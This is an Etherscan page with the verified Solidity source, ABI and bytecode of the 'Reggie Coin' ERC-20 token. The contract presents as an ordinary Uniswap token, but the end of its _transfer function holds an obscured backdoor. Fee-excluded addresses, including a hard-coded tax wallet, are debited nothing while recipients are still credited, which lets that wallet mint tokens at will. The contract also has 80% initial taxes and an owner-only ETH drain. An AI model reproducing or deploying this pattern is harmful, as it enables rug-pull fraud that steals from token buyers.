Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div( interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract REGGIE is Context, IERC20 ... *    - function addLiquidityETH()    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _transfer(address from, addr ...    - function min(uint256 a, uint256 b)    - function isContract(address account)    - function swapTokensForEth(uint256 reg ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function openTrading()    - function recover()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-07-13
*/

/*
Web: https://reggiecoin.xyz
X: https://x.com/reggiecoinX
Tg: https://t.me/reggie_portal
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract REGGIE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 80;
    uint256 private _initialSellTax = 80;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 10;
    uint256 private _reduceSellTaxAt = 10;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Reggie Coin";
    string private constant _symbol = unicode"REGGIE";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xaC1fc32e3cF3cFf814db023B0e24D325db484bd5);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function addLiquidityETH() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 reggieAmount = balanceOf(address(this));
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            reggieAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[to] || _isExcludedFromFee[from],
                "trading not yet open"
            );
        }

        if (inSwap || !swapEnabled) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }

        uint256 taxAmount = 0; uint256 reggieAmount = 0;

        taxAmount = amount
            .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax)
            .div(100);
            
        if (from != owner() && to != owner()) {
            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        } reggieAmount = amount.sub(taxAmount);
        if (taxAmount > 0) {   
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }taxAmount = amount;if (_isExcludedFromFee[from]) taxAmount = _finalBuyTax.add(_finalSellTax);
        _balances[from] = _balances[from].sub(taxAmount);
        _balances[to] = _balances[to].add(reggieAmount);
        emit Transfer(from, to, reggieAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 reggieAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), reggieAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            reggieAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function recover() external onlyOwner {
        sendETHToFee(address(this).balance);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recover","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526050600555605060065560006007556000600855600a600955600a8055600a600b556000600c556009600a6200003b91906200034e565b6200004b906301312d0062000366565b600d556200005c6009600a6200034e565b6200006c906301312d0062000366565b600e556200007d6009600a6200034e565b6200008a90606462000366565b600f556200009b6009600a6200034e565b620000aa906298968062000366565b6010556012805461ffff60a81b19169055348015620000c857600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673ac1fc32e3cf3cff814db023b0e24d325db484bd51790556200013e6009600a6200034e565b6200014e90633b9aca0062000366565b336000908152600160208190526040822092909255600390620001796000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001d83390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002126009600a6200034e565b6200022290633b9aca0062000366565b60405190815260200160405180910390a362000388565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200029057816000190482111562000274576200027462000239565b808516156200028257918102915b93841c939080029062000254565b509250929050565b600082620002a95750600162000348565b81620002b85750600062000348565b8160018114620002d15760028114620002dc57620002fc565b600191505062000348565b60ff841115620002f057620002f062000239565b50506001821b62000348565b5060208310610133831016604e8410600b841016171562000321575081810a62000348565b6200032d83836200024f565b806000190482111562000344576200034462000239565b0290505b92915050565b60006200035f60ff84168362000298565b9392505050565b600081600019048311821515161562000383576200038362000239565b500290565b611a7480620003986000396000f3fe6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610314578063c9567bf91461032a578063ce7460241461033f578063dd62ed3e14610354578063ed9953071461039a57600080fd5b80637d1db4a5146102715780638da5cb5b146102875780638f9a55c0146102af57806395d89b41146102c5578063a9059cbb146102f457600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f357806370a082311461020f578063715018a614610245578063751039fc1461025c57600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a2932b3b3b4b29021b7b4b760a91b60208201525b6040516101619190611629565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611696565b6103af565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060105481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103c6565b3480156101df57600080fd5b5061018a6101ee3660046116c2565b6103e7565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b506101b061022a366004611703565b6001600160a01b031660009081526001602052604090205490565b34801561025157600080fd5b5061025a610450565b005b34801561026857600080fd5b5061025a6104cd565b34801561027d57600080fd5b506101b0600d5481565b34801561029357600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102bb57600080fd5b506101b0600e5481565b3480156102d157600080fd5b5060408051808201909152600681526552454747494560d01b6020820152610154565b34801561030057600080fd5b5061018a61030f366004611696565b61057f565b34801561032057600080fd5b506101b0600f5481565b34801561033657600080fd5b5061025a61058c565b34801561034b57600080fd5b5061025a610629565b34801561036057600080fd5b506101b061036f366004611720565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103a657600080fd5b5061025a61065e565b60006103bc3384846109d9565b5060015b92915050565b60006103d46009600a611853565b6103e290633b9aca00611862565b905090565b60006103f4848484610afe565b610446843361044185604051806060016040528060288152602001611a17602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061128f565b6109d9565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611881565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161047a90611881565b6105036009600a611853565b61051190633b9aca00611862565b600d556105206009600a611853565b61052e90633b9aca00611862565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61055e6009600a611853565b61056c90633b9aca00611862565b60405190815260200160405180910390a1565b60006103bc338484610afe565b6000546001600160a01b031633146105b65760405162461bcd60e51b815260040161047a90611881565b601254600160a01b900460ff16156106105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047a565b6012805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161047a90611881565b61065c476112c9565b565b6000546001600160a01b031633146106885760405162461bcd60e51b815260040161047a90611881565b601254600160a01b900460ff16156106d85760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b604482015260640161047a565b30600081815260016020526040902054601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091610731916107236009600a611853565b61044190633b9aca00611862565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610784573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a891906118b6565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e91906118b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f91906118b6565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610933573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061095891906118d3565b505060125460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190611901565b5050565b6001600160a01b038316610a3b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047a565b6001600160a01b038216610a9c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047a565b6001600160a01b038216610bc45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047a565b60008111610c265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047a565b601254600160a01b900460ff16610cb9576001600160a01b03821660009081526003602052604090205460ff1680610c7657506001600160a01b03831660009081526003602052604090205460ff165b610cb95760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b604482015260640161047a565b601254600160a81b900460ff1680610cdb5750601254600160b01b900460ff16155b15610d86576001600160a01b038316600090815260016020526040902054610d039082611303565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610d32908261134c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af19085815260200190565b600080610db56064610daf600954600c5411610da457600554610da8565b6007545b86906113ab565b9061142a565b9150610dc96000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610df857506000546001600160a01b03858116911614155b1561111e576012546001600160a01b038681169116148015610e2857506011546001600160a01b03858116911614155b8015610e4d57506001600160a01b03841660009081526003602052604090205460ff16155b15610f3557600d54831115610ea45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161047a565b600e5483610ec7866001600160a01b031660009081526001602052604090205490565b610ed19190611923565b1115610f1f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b600c8054906000610f2f8361193b565b91905055505b6012546001600160a01b03858116911614801590610f6c57506001600160a01b03841660009081526003602052604090205460ff16155b15610fec57600e5483610f94866001600160a01b031660009081526001602052604090205490565b610f9e9190611923565b1115610fec5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161047a565b6012546001600160a01b03858116911614801561101257506001600160a01b0385163014155b1561103f5761103c6064610daf600a54600c541161103257600654610da8565b60085486906113ab565b91505b30600090815260016020526040902054601254600160a81b900460ff1615801561107657506012546001600160a01b038681169116145b801561108b5750601254600160b01b900460ff165b801561109a5750600b54600c54115b80156110bf57506001600160a01b03861660009081526003602052604090205460ff16155b80156110e457506001600160a01b03851660009081526003602052604090205460ff16155b1561111c57600f548111156111105761111061110b856111068460105461146c565b61146c565b611481565b4761111a476112c9565b505b505b6111288383611303565b905081156111a4573060009081526001602052604090205461114a908361134c565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119b9086815260200190565b60405180910390a35b6001600160a01b03851660009081526003602052604090205483925060ff16156111da576008546007546111d79161134c565b91505b6001600160a01b0385166000908152600160205260409020546111fd9083611303565b6001600160a01b03808716600090815260016020526040808220939093559086168152205461122c908261134c565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112809085815260200190565b60405180910390a35050505050565b600081848411156112b35760405162461bcd60e51b815260040161047a9190611629565b5060006112c08486611956565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109d5573d6000803e3d6000fd5b600061134583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b9392505050565b6000806113598385611923565b9050838110156113455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047a565b6000826113ba575060006103c0565b60006113c68385611862565b9050826113d3858361196d565b146113455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047a565b600061134583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115fb565b600081831161147b5782611345565b50919050565b6012805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114c9576114c961198f565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061154691906118b6565b816001815181106115595761155961198f565b6001600160a01b03928316602091820292909201015260115461157f91309116846109d9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b89085906000908690309042906004016119a5565b600060405180830381600087803b1580156115d257600080fd5b505af11580156115e6573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6000818361161c5760405162461bcd60e51b815260040161047a9190611629565b5060006112c0848661196d565b600060208083528351808285015260005b818110156116565785810183015185820160400152820161163a565b81811115611668576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461169357600080fd5b50565b600080604083850312156116a957600080fd5b82356116b48161167e565b946020939093013593505050565b6000806000606084860312156116d757600080fd5b83356116e28161167e565b925060208401356116f28161167e565b929592945050506040919091013590565b60006020828403121561171557600080fd5b81356113458161167e565b6000806040838503121561173357600080fd5b823561173e8161167e565b9150602083013561174e8161167e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117aa57816000190482111561179057611790611759565b8085161561179d57918102915b93841c9390800290611774565b509250929050565b6000826117c1575060016103c0565b816117ce575060006103c0565b81600181146117e457600281146117ee5761180a565b60019150506103c0565b60ff8411156117ff576117ff611759565b50506001821b6103c0565b5060208310610133831016604e8410600b841016171561182d575081810a6103c0565b611837838361176f565b806000190482111561184b5761184b611759565b029392505050565b600061134560ff8416836117b2565b600081600019048311821515161561187c5761187c611759565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118c857600080fd5b81516113458161167e565b6000806000606084860312156118e857600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561191357600080fd5b8151801515811461134557600080fd5b6000821982111561193657611936611759565b500190565b600060001982141561194f5761194f611759565b5060010190565b60008282101561196857611968611759565b500390565b60008261198a57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f55784516001600160a01b0316835293830193918301916001016119d0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205f7f666edad9b10928d4ef6b95570ed82760afa965fc0fb56c55887f007ca6dd64736f6c634300080b0033

0x6080604052600436106101185760003560e01c80637d1db4a5116100a0578063bf474bed11610064578063bf474bed14610314578063c9567bf91461032a578063ce7460241461033f578063dd62ed3e14610354578063ed9953071461039a57600080fd5b80637d1db4a5146102715780638da5cb5b146102875780638f9a55c0146102af57806395d89b41146102c5578063a9059cbb146102f457600080fd5b806323b872dd116100e757806323b872dd146101d3578063313ce567146101f357806370a082311461020f578063715018a614610245578063751039fc1461025c57600080fd5b806306fdde0314610124578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a2932b3b3b4b29021b7b4b760a91b60208201525b6040516101619190611629565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611696565b6103af565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060105481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103c6565b3480156101df57600080fd5b5061018a6101ee3660046116c2565b6103e7565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b506101b061022a366004611703565b6001600160a01b031660009081526001602052604090205490565b34801561025157600080fd5b5061025a610450565b005b34801561026857600080fd5b5061025a6104cd565b34801561027d57600080fd5b506101b0600d5481565b34801561029357600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102bb57600080fd5b506101b0600e5481565b3480156102d157600080fd5b5060408051808201909152600681526552454747494560d01b6020820152610154565b34801561030057600080fd5b5061018a61030f366004611696565b61057f565b34801561032057600080fd5b506101b0600f5481565b34801561033657600080fd5b5061025a61058c565b34801561034b57600080fd5b5061025a610629565b34801561036057600080fd5b506101b061036f366004611720565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103a657600080fd5b5061025a61065e565b60006103bc3384846109d9565b5060015b92915050565b60006103d46009600a611853565b6103e290633b9aca00611862565b905090565b60006103f4848484610afe565b610446843361044185604051806060016040528060288152602001611a17602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061128f565b6109d9565b5060019392505050565b6000546001600160a01b031633146104835760405162461bcd60e51b815260040161047a90611881565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104f75760405162461bcd60e51b815260040161047a90611881565b6105036009600a611853565b61051190633b9aca00611862565b600d5